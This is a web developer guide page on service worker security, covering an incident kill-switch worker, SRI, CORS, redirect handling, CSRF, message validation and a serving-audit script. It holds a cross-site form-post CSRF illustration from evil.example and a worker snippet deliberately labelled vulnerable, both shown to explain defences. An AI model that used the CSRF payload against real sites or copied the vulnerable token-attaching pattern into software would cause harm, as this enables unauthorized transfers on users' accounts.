The Updating Service Workers page covers the kill-switch worker as a tool for recovering from buggy releases. A security incident adds requirements: you may need to remove data an attacker planted, you may be dealing with rogue workers at URLs you never deployed, and you must assume that anything in Cache Storage is hostile.

What you can rely on during an incident

  • The update request reaches your server. Browsers fetch the registered script URL with service-workers mode none on navigations into scope, and after functional events (push, sync, notification clicks) if the registration has not been checked for 24 hours. A compromised worker cannot block that request.
  • A byte-different script at the same URL gets installed. That is true for a rogue registration too: if an attacker registered /uploads/x.js, the browser keeps checking /uploads/x.js, so serving your kill-switch script at that URL replaces the rogue worker.
  • A failed update changes nothing. Deleting the file so the URL returns 404 does not unregister anything; the installed worker keeps running. Always serve a replacement script or Clear-Site-Data.
  • Clear-Site-Data on the update response works. The Clear Site Data specification notes that "a service worker update is a network response, and is therefore not affected by" the rule that ignores the header on worker-served responses, and suggests using the roughly daily update ping to deliver a wipe "in case of catastrophe."
  • "storage" is origin-wide. When the header arrives on any network response for your origin, every registration whose scope is on that origin is unregistered, not just the one whose script was fetched. A navigation to a page outside a rogue worker's scope therefore also delivers the wipe.

A security kill-switch worker

This worker deletes every cache (the attacker may have written to any of them), optionally deletes IndexedDB, unregisters, and reloads open windows so they come straight from the network. It deliberately has no fetch handler, so while it is active every request goes to the network. That is also why its unconditional skipWaiting() is safe: in a normal worker, skipping the waiting phase can hand old pages a worker that no longer serves the assets they expect (see Service Worker Lifecycle and Pitfalls).

sw.js (security kill switch)
// Deploy at /sw.js AND at every rogue script URL you have identified.
// Byte-different from whatever is installed, so every update check installs it.
const WIPE_INDEXEDDB = true; // decide per incident: this deletes offline drafts

self.addEventListener("install", () => {
  // Replace the compromised worker immediately instead of waiting for tabs to close.
  // Safe here only because this worker has no fetch handler: open pages can't ask it
  // for cached assets it is about to delete. Don't copy this into a normal worker.
  self.skipWaiting();
});

self.addEventListener("activate", (event) => {
  event.waitUntil(
    (async () => {
      // 1. Take control so WindowClient.navigate() is allowed on every window.
      await self.clients.claim();

      // 2. Delete every cache: assume all of them may be poisoned.
      const names = await caches.keys();
      await Promise.all(names.map((name) => caches.delete(name)));

      // 3. Optionally delete IndexedDB (databases() is available in workers).
      if (WIPE_INDEXEDDB && self.indexedDB && typeof indexedDB.databases === "function") {
        const dbs = await indexedDB.databases();
        await Promise.all(
          dbs.map(
            ({ name }) =>
              new Promise((resolve) => {
                const request = indexedDB.deleteDatabase(name);
                request.onsuccess = request.onerror = request.onblocked = () => resolve();
              }),
          ),
        );
      }

      // 4. Remove this registration. The worker stays alive until its clients go away.
      await self.registration.unregister();

      // 5. Reload windows from the network. navigate() throws NotSupportedError in
      //    Safari before 16, so ignore failures; the next navigation is clean anyway.
      const windows = await self.clients.matchAll({ type: "window" });
      await Promise.all(windows.map((client) => client.navigate(client.url).catch(() => undefined)));
    })(),
  );
});

Incident runbook for a compromised origin

  1. Fix the vulnerability and deploy the fix. Rotate secrets that may have been exposed, and invalidate all sessions server-side if tokens could have been read.
  2. Find rogue script URLs. Search access logs for requests carrying Service-Worker: script (or Sec-Fetch-Dest: serviceworker) to any path other than /sw.js. Check the reports from your registration audit beacon.
  3. Serve the kill switch at /sw.js and at each rogue URL, with Content-Type: text/javascript and Cache-Control: no-store. If the rogue URL is an upload or JSONP endpoint, add a temporary route that answers requests with Service-Worker: script using the kill-switch body.
  4. Optionally add Clear-Site-Data: "storage" (and "cache") to those script responses and to HTML responses for a limited period. This is the heavier hammer: it also deletes offline drafts, queued sync requests and preferences, and on the HTML route it wipes every user who visits, compromised or not.
  5. Monitor. Watch the rate of update requests for rogue URLs and the audit beacon. Users only recover when they next navigate into scope or when a functional event fires, so recovery takes days, not minutes.
  6. Restore the real worker. Once traffic to rogue URLs has dropped, remove the Clear-Site-Data headers and deploy your normal worker at /sw.js again (its bytes differ from the kill switch, so it installs normally). Leave the kill switch in place at the rogue URLs indefinitely.
  7. Close the root cause class: strict CSP, Trusted Types, the Service-Worker header allowlist, uploads on a separate origin, removal of JSONP.

Rehearse before you need it

Keep the kill-switch script in your repository, and test the full procedure in staging with two deploys: a "compromised" worker that poisons a cache and registers a second worker at an odd URL, followed by the kill switch. Teams that first write a kill switch during an incident routinely break it with a typo, a redirect, or an SPA fallback that serves index.html for the script URL.

Subresource Integrity with a service worker in the middle

Subresource Integrity (SRI) lets a page say "this script must hash to X". It interacts with service workers in ways worth knowing:

  • The page's integrity check still applies to worker responses. Fetch performs the integrity check in main fetch, after the response is obtained, whether it came from the network or from a service worker. If a poisoned cache entry for /assets/app.js is served to a <script integrity="sha384-…">, the page rejects it. SRI therefore protects pinned subresources against cache poisoning, but not the HTML document that carries the integrity attributes, which is why the app shell needs the verification described earlier.
  • The worker can see and preserve integrity metadata. event.request.integrity exposes the page's value. fetch(event.request) carries it to the network. Building a new request from event.request.url drops it at the worker's fetch, although the page-side check still runs on whatever you return.
  • The worker can use SRI itself. fetch(url, { integrity: "sha256-…" }) and cache.add(new Request(url, { integrity })) fail with a network error on mismatch, which is how the verified precache above works. Request.integrity is supported in Chrome 46, Firefox 51 and Safari 10.1 according to MDN.
  • Cross-origin SRI requires CORS. An integrity check on a no-cors request fails, because an opaque response cannot be hashed. Use crossorigin="anonymous" on the element, or mode: "cors" in the worker.
  • There is no SRI for the worker script or for importScripts(). Same-origin hosting, the worker's CSP and your deployment pipeline are the only controls.
  • Import maps can carry integrity for modules. The integrity key in an import map (Chrome 127, Firefox 138, Safari 18 per MDN) lets you pin modules that the page loads dynamically, which closes a gap for code-split apps.
  • Integrity-Policy can make SRI mandatory for script destinations in documents. See Content Security Policy.

CORS, opaque responses and the tainting rules

Every Response has a type that records how much of it the current context may see. The service worker is subject to the same rules as a page, and Fetch adds checks on the responses a worker hands back so that it cannot launder cross-origin data.

Response type Produced by Status and headers visible Body readable Can answer a request whose mode is
basic Same-origin fetch Yes (except Set-Cookie) Yes Any
cors Cross-origin fetch with successful CORS check Status and CORS-safelisted or exposed headers Yes cors, no-cors (not same-origin)
opaque Cross-origin no-cors fetch No (status 0, no headers) No no-cors only
opaqueredirect Fetch with redirect: "manual" that hit a redirect No No Requests with redirect mode manual (navigations)
error Response.error(), network failure No No None (always a network error)

The Fetch standard's HTTP fetch algorithm spells out when a response from a service worker becomes a network error for the page. It is a network error if:

  • its type is error;
  • the request's mode is same-origin and the response's type is cors;
  • the request's mode is not no-cors and the response's type is opaque;
  • the request's redirect mode is not manual and the response's type is opaqueredirect;
  • the request's redirect mode is not follow and the response's URL list has more than one item (it was redirected).

The third rule is the core security property: a worker cannot take an opaque cross-origin response and use it to answer a fetch() from the page that expects to read the body. The page would get a network error.

Opaque responses and cross-origin isolation

Fetch also performs the Cross-Origin Resource Policy check on responses from the service worker, not only from the network, using the requesting document's embedder policy. The spec explains why: "request's client and the service worker can have different embedder policies." Cache Storage applies the same check using the worker's own policy: cache.match() rejects with TypeError when a stored opaque response fails the CORP check against the worker's embedder policy. In practice, if your pages or your worker use Cross-Origin-Embedder-Policy: require-corp, opaque responses cached before you enabled COEP, or from origins that do not send Cross-Origin-Resource-Policy, stop working. The Content Security Policy page covers cross-origin isolation in depth.

Other costs of opaque responses

  • You cannot tell success from failure. An opaque 500 or a third-party login redirect's result looks the same as a good image.
  • Quota padding. To avoid leaking the size of cross-origin resources, browsers pad opaque responses when computing quota usage. Chromium adds a pseudo-random amount between 0 and about 14 MiB to each opaque response, about 7 MiB on average, so a few dozen cached opaque responses can use hundreds of megabytes of quota. See Storage Quotas & Persistence and Cache Storage API.
  • No Cache-Control means you cannot honor private or no-store.

Prefer CORS for anything you cache: add crossorigin="anonymous" to <img>, <script> and <link> elements for cross-origin assets, and make sure the CDN sends Access-Control-Allow-Origin. Then the worker gets cors responses with a real status it can validate.

Redirect handling

Redirects are where several security rules meet.

The worker script may not redirect

The top-level worker script fetch uses redirect mode error. Any redirect (including HTTP to HTTPS, trailing-slash normalization, or an SSO gateway) fails registration and updates. This prevents a same-origin URL from delegating the worker's code to another location, which would defeat the same-origin rule.

Redirected responses cannot answer navigations

Navigation requests have redirect mode manual: the browser wants to see each redirect so the address bar, the document's URL, history and security checks (mixed content, CSP frame-ancestors, COOP) all apply to the final URL. If your worker follows a redirect itself (the default for fetch() with a URL string) and returns the final response, the response's URL list has more than one entry and the last Fetch rule above makes it a network error. Chromium reports it in the console as a redirected response used for a request whose redirect mode is not follow.

Without that rule, a worker (or a poisoned cache) could return the content of https://app.example.com/account while the address bar shows /login, or show content fetched from another origin under your URL.

This commonly bites in two places:

  1. Precaching a URL that redirects, such as / redirecting to /en/. cache.put() stores the response with its redirected flag and URL list, so serving it to a navigation later fails.
  2. Network-first handlers that call fetch(event.request.url) instead of fetch(event.request). The string form uses redirect mode follow.

Handle both explicitly:

src/sw/redirects.js
/**
 * Returns a response that can safely answer a navigation. If the response was
 * produced by following redirects, copy it into a fresh Response so its URL
 * list has a single entry. Only do this for SAME-ORIGIN responses you trust:
 * the page will be rendered at the ORIGINAL URL, not the final one.
 */
export async function cleanRedirect(response) {
  if (!response.redirected) return response;
  if (response.type !== "basic") {
    // Cross-origin redirect result: never present it under our URL.
    return Response.error();
  }
  const body = await response.blob(); // buffer: streams cannot be re-wrapped after reading
  return new Response(body, {
    status: response.status,
    statusText: response.statusText,
    headers: response.headers,
  });
}

// For live navigations, prefer passing the request through unchanged. Its
// redirect mode stays "manual", so a redirect comes back as an opaqueredirect
// response that the browser follows itself, updating the URL bar correctly.
self.addEventListener("fetch", (event) => {
  if (event.request.mode !== "navigate") return;
  event.respondWith(
    fetch(event.request).catch(async () => {
      const cached = await caches.match("/offline.html");
      return cached ? cleanRedirect(cached) : Response.error();
    }),
  );
});

Copying a redirected response changes which URL the document believes it is at. That is acceptable for the offline page or a precached shell whose content does not depend on the URL. It is not acceptable for content where the final URL matters (for example, a redirect to a canonical URL with a different path that relative links depend on); for those, precache the final URL directly.

Open redirects through notifications and share targets

Workers frequently take a URL from data and navigate to it: clients.openWindow(payload.url) on notificationclick, a URL field from a Web Share Target, a deep link from a protocol handler. If that data can be influenced by an attacker (a compromised push backend, a user-supplied share, a crafted web+app: link), the worker becomes an open redirector inside your trusted, URL-bar-less app window. MDN's compatibility notes for clients.openWindow() state that since Chrome 51 URLs "may open inside an existing browsing context provided by a standalone web app." Validate before navigating:

src/sw/safe-navigation.js
const APP_SCOPE = new URL(self.registration.scope);

/** Returns an absolute same-origin, in-scope URL, or the scope root. */
export function safeAppUrl(candidate) {
  try {
    const url = new URL(candidate, APP_SCOPE);
    const inScope = url.origin === APP_SCOPE.origin && url.pathname.startsWith(APP_SCOPE.pathname);
    return inScope ? url.href : APP_SCOPE.href;
  } catch {
    return APP_SCOPE.href;
  }
}

self.addEventListener("notificationclick", (event) => {
  event.notification.close();
  const target = safeAppUrl(event.notification.data?.url);
  event.waitUntil(
    (async () => {
      const windows = await self.clients.matchAll({ type: "window", includeUncontrolled: true });
      const existing = windows.find((w) => new URL(w.url).origin === APP_SCOPE.origin);
      if (existing) {
        await existing.focus();
        return existing.navigate ? existing.navigate(target).catch(() => undefined) : undefined;
      }
      return self.clients.openWindow(target);
    })(),
  );
});

Credentials modes and CSRF considerations

A worker re-issues requests on behalf of pages, and the credentials attached to those requests follow the Fetch credentials mode:

Mode Cookies and HTTP auth sent Typical source
omit Never fetch(url, { credentials: "omit" }); manifest fetch without crossorigin="use-credentials"
same-origin Same-origin requests only Default for fetch() and new Request(url), and therefore for cache.add(url)
include Always, subject to SameSite and third-party cookie rules Navigations, no-cors element requests such as <img> and <script> without crossorigin

Consequences for worker code:

  • fetch(event.request) preserves the page's mode and credentials. Re-creating the request from its URL (fetch(event.request.url)) switches to mode cors and credentials same-origin, which breaks cross-origin cookie-authenticated no-cors requests and can start failing CORS checks. Pass the original request through whenever you do not need to change it.
  • Never widen credentials. Do not add credentials: "include" to requests for arbitrary URLs. Only your own API origin, with an explicit Access-Control-Allow-Credentials configuration, should receive credentialed CORS requests.
  • Constructing a request with an init changes who it comes from. Per the Fetch standard, new Request(event.request, init) with a non-empty init resets the request's origin and referrer to the worker's, so "it no longer appears to come from the original source". Server-side defenses that look at Origin or at Fetch Metadata (Sec-Fetch-Site) then see a same-origin request.

How a worker can recreate CSRF

Your worker receives navigations into its scope from any site, including cross-site form posts:

On https://evil.example/ (illustration)
<form action="https://app.example.com/api/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>

SameSite=Lax cookies are not sent on that cross-site POST, and a server using Fetch Metadata rejects it because Sec-Fetch-Site is cross-site. Now imagine a worker that "helpfully" attaches a bearer token to every request for /api/, or that rebuilds non-GET requests to add a CSRF header:

sw.js (vulnerable pattern, do not use)
self.addEventListener("fetch", (event) => {
  if (new URL(event.request.url).pathname.startsWith("/api/")) {
    // Rebuilding with init makes the request same-origin in the server's eyes
    // AND attaches the user's token: a cross-site form post becomes authenticated.
    event.respondWith(
      fetch(new Request(event.request, { headers: withAuth(event.request.headers) })),
    );
  }
});

That worker turns a blocked cross-site request into an authenticated same-origin one. Attach credentials only to requests that your own pages initiated, and never to navigations:

src/sw/auth-fetch.js
const API_ORIGIN = "https://api.example.com";
let accessToken = null; // set via a validated message from a window client; lost when the worker stops

self.addEventListener("fetch", (event) => {
  const { request } = event;
  const url = new URL(request.url);
  if (url.origin !== API_ORIGIN) return; // not ours: pass through untouched

  // Navigations and form posts can originate from ANY site. Never authenticate them.
  if (request.mode === "navigate") return;

  // no-cors requests (<img>, <script> without crossorigin) cannot carry an
  // Authorization header: the Headers guard silently drops it. Leave them alone.
  if (request.mode === "no-cors") return;

  // Subresource requests from our own documents always have a clientId.
  // An empty clientId means we cannot tell who initiated the request.
  if (!event.clientId) return;

  event.respondWith(
    (async () => {
      const client = await self.clients.get(event.clientId);
      if (!client || new URL(client.url).origin !== self.location.origin) {
        return fetch(request); // unauthenticated pass-through
      }
      const token = accessToken ?? (await refreshAccessToken());
      const headers = new Headers(request.headers);
      if (token) headers.set("Authorization", `Bearer ${token}`);
      return fetch(new Request(request, { headers, credentials: "omit" }));
    })(),
  );
});

async function refreshAccessToken() {
  // The refresh credential is an HttpOnly cookie on our own origin; the worker
  // never sees it. A short-lived access token comes back in the JSON body.
  const response = await fetch("/auth/token", { method: "POST", credentials: "same-origin" });
  if (!response.ok) return null;
  const { access_token: token } = await response.json();
  accessToken = token;
  return token;
}

Keep server-side CSRF defenses (SameSite cookies, Fetch Metadata resource isolation policies, anti-CSRF tokens for cookie-authenticated state changes) regardless of what the worker does. The worker is a convenience layer, not a security boundary.

Replayed requests from Background Sync

Queued requests in an outbox (see Background Sync) are replayed later, possibly after sign-out or under a different user. Store only what is needed to rebuild the request, never a long-lived token; re-authenticate at replay time; and clear the queue during sign-out, as in the cleanup code above.

Validating messages from clients

ExtendableMessageEvent gives the worker event.origin and event.source (the sending Client). Only same-origin contexts can obtain a reference to your worker, so messages come from your own pages, but "your own pages" includes a page running injected script. Treat messages as commands from a partially trusted caller:

src/sw/messages.js
const HANDLERS = {
  SKIP_WAITING: () => self.skipWaiting(),
  CACHE_ROUTES: async ({ paths }) => {
    // Only same-origin paths from a fixed allowlist of prefixes.
    const allowed = paths
      .filter((p) => typeof p === "string" && p.startsWith("/") && !p.startsWith("//"))
      .map((p) => new URL(p, self.location.origin))
      .filter((u) => u.origin === self.location.origin && /^\/(articles|docs)\//.test(u.pathname))
      .slice(0, 50); // bound the work a single message can trigger
    const cache = await caches.open("routes-v1");
    await Promise.all(allowed.map((u) => cache.add(u.href).catch(() => undefined)));
  },
};

self.addEventListener("message", (event) => {
  if (event.origin !== self.location.origin) return;
  const { type, ...payload } = event.data ?? {};
  const handler = Object.hasOwn(HANDLERS, type) ? HANDLERS[type] : null;
  if (!handler) return; // unknown command: ignore silently
  event.waitUntil(Promise.resolve(handler(payload)).catch((error) => console.error(type, error)));
});

Rules of thumb: accept a fixed set of message types, validate every field, never fetch or cache arbitrary URLs, never evaluate strings, and bound the work per message. The Messaging & the Clients API page covers the messaging mechanics.

Service worker security audit checklist

Work through this list for every PWA before launch and after major changes. Items are grouped by where the control lives.

Serving the worker

  • The worker lives at one stable, same-origin, unhashed URL and is never behind a redirect, authentication wall, or SPA fallback.
  • It is served with Content-Type: text/javascript, Cache-Control: no-cache (or no-store), X-Content-Type-Options: nosniff and its own Content-Security-Policy.
  • Service-Worker-Allowed is absent, or present only on the worker URL with the narrowest value that works.
  • Requests with Service-Worker: script are refused for every path except the worker.
  • The origin has no JSONP endpoints, no user uploads, and no routes that reflect input into JavaScript.

Code in the worker

  • No importScripts() from third-party origins; all code is bundled or self-hosted and pinned.
  • Every cache write goes through one cacheability predicate that rejects non-200, opaque (except allowlisted destinations), redirected, private, no-store and content-type-mismatched responses.
  • App-shell entries are verified against build-time hashes before being served, and the worker sets headers (including CSP) on the shell response itself.
  • Authentication endpoints are not intercepted.
  • Credentials and tokens are never attached to navigations or to requests without a same-origin clientId.
  • URLs from notifications, share targets and messages are validated as same-origin and in scope before navigation.
  • Message handlers accept an allowlist of types and validate every field.

Data lifecycle

  • Personalized data is network-only or stored under a per-user namespace.
  • Sign-out ends the server session, sends Clear-Site-Data, deletes user caches, databases and sync queues, clears worker memory, and notifies other windows.
  • Old caches are deleted on activation.

Incident readiness

  • A kill-switch worker is in the repository and has been rehearsed in staging.
  • A page-side registration audit reports unexpected registrations.
  • Access logs retain the Service-Worker and Sec-Fetch-Dest request headers so rogue registrations can be found.

Automating the header checks

Run this script in CI against staging and production to catch regressions in how the worker and its neighbors are served:

scripts/audit-sw-serving.mjs
// Usage: node scripts/audit-sw-serving.mjs https://app.example.com
// Requires Node.js 18+ (global fetch).
const origin = process.argv[2];
if (!origin) {
  console.error("Usage: node audit-sw-serving.mjs <origin>");
  process.exit(2);
}

const failures = [];
const check = (condition, message) => {
  if (!condition) failures.push(message);
};

async function workerFetch(path) {
  return fetch(new URL(path, origin), {
    redirect: "manual", // the browser uses redirect mode "error" for the worker
    headers: { "Service-Worker": "script", "Sec-Fetch-Dest": "serviceworker" },
  });
}

// 1. The real worker.
const sw = await workerFetch("/sw.js");
check(sw.status === 200, `/sw.js: expected 200, got ${sw.status}`);
const type = (sw.headers.get("content-type") || "").split(";")[0].trim();
check(["text/javascript", "application/javascript"].includes(type), `/sw.js: bad Content-Type "${type}"`);
const cc = sw.headers.get("cache-control") || "";
check(/no-cache|no-store|max-age=0/.test(cc), `/sw.js: Cache-Control should force revalidation, got "${cc}"`);
check(sw.headers.has("content-security-policy"), "/sw.js: missing its own Content-Security-Policy");
check(!sw.headers.has("clear-site-data"), "/sw.js: Clear-Site-Data is set (emergency config left on?)");
const allowed = sw.headers.get("service-worker-allowed");
if (allowed) console.warn(`note: /sw.js sends Service-Worker-Allowed: ${allowed}`);

// 2. Other JavaScript must not be accepted as a worker script or widen scope.
for (const path of ["/assets/app.js", "/uploads/test.js", "/api/data?callback=x"]) {
  const response = await workerFetch(path);
  check(
    response.status >= 400 || !(response.headers.get("content-type") || "").includes("javascript"),
    `${path}: served JavaScript to a Service-Worker: script request (status ${response.status})`,
  );
  check(!response.headers.has("service-worker-allowed"), `${path}: sends Service-Worker-Allowed`);
}

// 3. A missing worker URL must not be answered by an SPA fallback.
const missing = await workerFetch("/sw-does-not-exist.js");
check(
  !(missing.headers.get("content-type") || "").includes("text/html") || missing.status >= 400,
  "/sw-does-not-exist.js: SPA fallback answers with HTML 200",
);

if (failures.length) {
  console.error(`FAILED (${failures.length})\n- ${failures.join("\n- ")}`);
  process.exit(1);
}
console.log("Service worker serving audit passed");

Browser support

Feature Chrome / Edge Firefox Safari (macOS and iOS)
Service-Worker-Allowed header ✅ 42 / 16 ✅ 40 ✅ 11.1
updateViaCache ✅ 68 / 18 ✅ 57 ✅ 11.1
importScripts() MIME checks ✅ 71 / 79 ✅ 67 ✅ 16
Trusted Types enforced for importScripts() ✅ 138 🧪 preview builds ✅ 26
Trusted Types enforced for register() ✅ 140 🧪 preview builds ✅ 26
Request.integrity ✅ 46 / 14 ✅ 51 ✅ 10.1
Response.redirected ✅ 57 / 16 ✅ 49 ✅ 10.1
Clear-Site-Data: "storage" ✅ 61 / 79 ✅ 63 ✅ 17
indexedDB.databases() ✅ 72 / 79 ✅ 126 ✅ 14
Cookie Store API in workers ✅ 87 ✅ 140 ✅ 18.4
WindowClient.navigate() ✅ 49 / 17 ✅ 50 ✅ 16 (earlier versions throw NotSupportedError)

Support data as of September 2026, from MDN's browser compatibility data. Check MDN and caniuse for live data. Where two numbers are given for Chrome / Edge, the second is the first Edge version.

Common pitfalls

  • Assuming the path restriction isolates tenants. It does not; only origins do.
  • Sending Service-Worker-Allowed from a blanket rule for all JavaScript.
  • Hosting user uploads on the app origin with extension-based MIME types.
  • Runtime-caching everything that returns 200, including personalized API responses, error pages from captive portals, and third-party opaque responses.
  • Trusting Vary: Cookie to separate users in Cache Storage.
  • Serving a cached app shell without its CSP header, or with whatever headers an attacker wrote.
  • Intercepting /logout so Clear-Site-Data never reaches the browser's network layer, or sending Clear-Site-Data: "cookies" on a shared registrable domain.
  • Deleting a compromised script instead of replacing it: a 404 on update leaves the installed worker running.
  • Attaching tokens in the worker to every request, including cross-site navigations and form posts.
  • Following redirects in the worker and returning the result to a navigation.
  • clients.openWindow(data.url) without validating the URL.
  • Third-party importScripts() from a mutable URL.

Debugging

  • Chrome and Edge DevTools, Application panel: Service workers shows each registration's scope, script URL, status and update-on-reload toggle; Storage shows usage and a Clear site data button that removes the origin's storage, caches and registrations, which is handy for testing clean-install behavior; Cache storage lets you inspect entries, including their response headers, to spot missing CSP or unexpected Vary.
  • chrome://serviceworker-internals lists every registration in the profile with its script URL. Look for scopes and scripts you did not deploy.
  • Network panel: select the request for your worker URL to confirm update checks carry Service-Worker: script and receive the expected headers, and confirm that /logout shows no (ServiceWorker) marker in the Size column.
  • Console messages: Chromium logs redirect-mode violations, CSP violations inside the worker, and opaque-response rejections. Open the worker's own console from the Application panel; they do not appear in the page console.
  • Firefox: about:debugging#/runtime/this-firefox lists workers with Unregister and Inspect. Safari: Develop menu, Service Workers, to inspect and see the worker's console.

See Browser DevTools for a full walkthrough.

Further reading

On this site

External references